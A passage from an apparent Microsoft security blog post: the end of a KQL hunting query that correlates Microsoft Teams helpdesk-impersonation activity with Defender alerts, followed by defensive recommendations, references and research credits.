        ChatThreadIdRaw = tostring(AdditionalFields.ChatThreadId)
    | extend ChatThreadId = coalesce(
        ChatThreadIdRaw,
        extract(@"/(?:chats|channels|conversations|spaces)/([^/]+)/", 1, SourceId)
    )
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId,
        ChatThreadId
);
//
// add branch 4 to corrilate with host events
//
// Add first-contact context back onto the Teams seed set
let _teams_fc = materialize(
    _teams
    | join kind=leftouter _firstContact on ChatThreadId
    | extend FirstContact = isnotnull(FCTime)
);
// Join path 1: Teams victim object ID -> alert AccountObjectId
let _matches_oid =
    _teams_fc
    | where isnotempty(VictimAccountObjectId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_oid
    ) on $left.VictimAccountObjectId == $right.AccountObjectId
    // Time bound keeps only alerts near the Teams activity; widen/narrow _timeFrame to tune sensitivity
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ObjectId";
// Join path 2: Teams victim UPN -> alert AccountUpn
let _matches_upn =
    _teams_fc
    | where isnotempty(VictimUPN)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_upn
    ) on $left.VictimUPN == $right.AccountUpn
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "VictimUPN";
// Join path 3: Teams chat thread -> alert chat thread
let _matches_thread =
    _teams_fc
    | where isnotempty(ChatThreadId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_thread
    ) on ChatThreadId
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ChatThreadId";
//
// add branch 4 for host events
//
// Merge all match paths and collapse multiple alert hits per Teams event into one row
union _matches_oid, _matches_upn, _matches_thread
| summarize
    AlertTitles = make_set(Title, 50),
    AlertIds = make_set(AlertId, 50),
    MatchTypes = make_set(MatchType, 10),
    FirstAlertTime = min(ATime)
    by
        TTime,
        SenderUPN,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId

Protecting your organization from collaboration‑based impersonation attacks as demonstrated throughout this intrusion chain, cross‑tenant helpdesk impersonation campaigns rely less on platform exploitation and more on persuading users to initiate trusted remote access workflows within legitimate enterprise collaboration tools such as Microsoft Teams.

Organizations should treat any unsolicited external support contact as inherently suspicious and implement layered defenses that limit credential‑backed remote sessions, enforce Conditional Access with MFA and compliant device requirements, and restrict the use of administrative protocols such as WinRM to authorized management workstations. At the endpoint and identity layers, enabling Attack Surface Reduction (ASR) rules, Zero‑hour Auto Purge (ZAP), Safe Links for Teams messages, and network protection can reduce opportunities for sideloaded execution and outbound command‑and‑control activity that blend into routine HTTPS traffic.

Finally, organizations should reinforce user education—such as establishing internal helpdesk authentication phrases and training employees to verify external tenant indicators—to prevent adversaries from converting legitimate collaboration workflows into attacker‑guided remote access and staged data exfiltration pathways. As attackers adapt their impersonation tactics, Microsoft Defender Experts continues to strengthen protections across Teams, identity, and endpoint security to help reduce risk as threats shift.

References

• Protection Against Email Bombs with Microsoft Defender for Office 365 | Microsoft Community Hub
• Protection against multi-modal attacks with Microsoft Defender | Microsoft Community Hub
• Help on the line: How a Microsoft Teams support call led to compromise | Microsoft Security Blog
• Disrupting threats targeting Microsoft Teams | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from Jesse Birch, Sagar Patil, Balaji Venkatesh S (DEX), Eric Hopper, Charu Puhazholi, and other members of Microsoft Threat Intelligence.

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The post Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook appeared first on Microsoft Security Blog.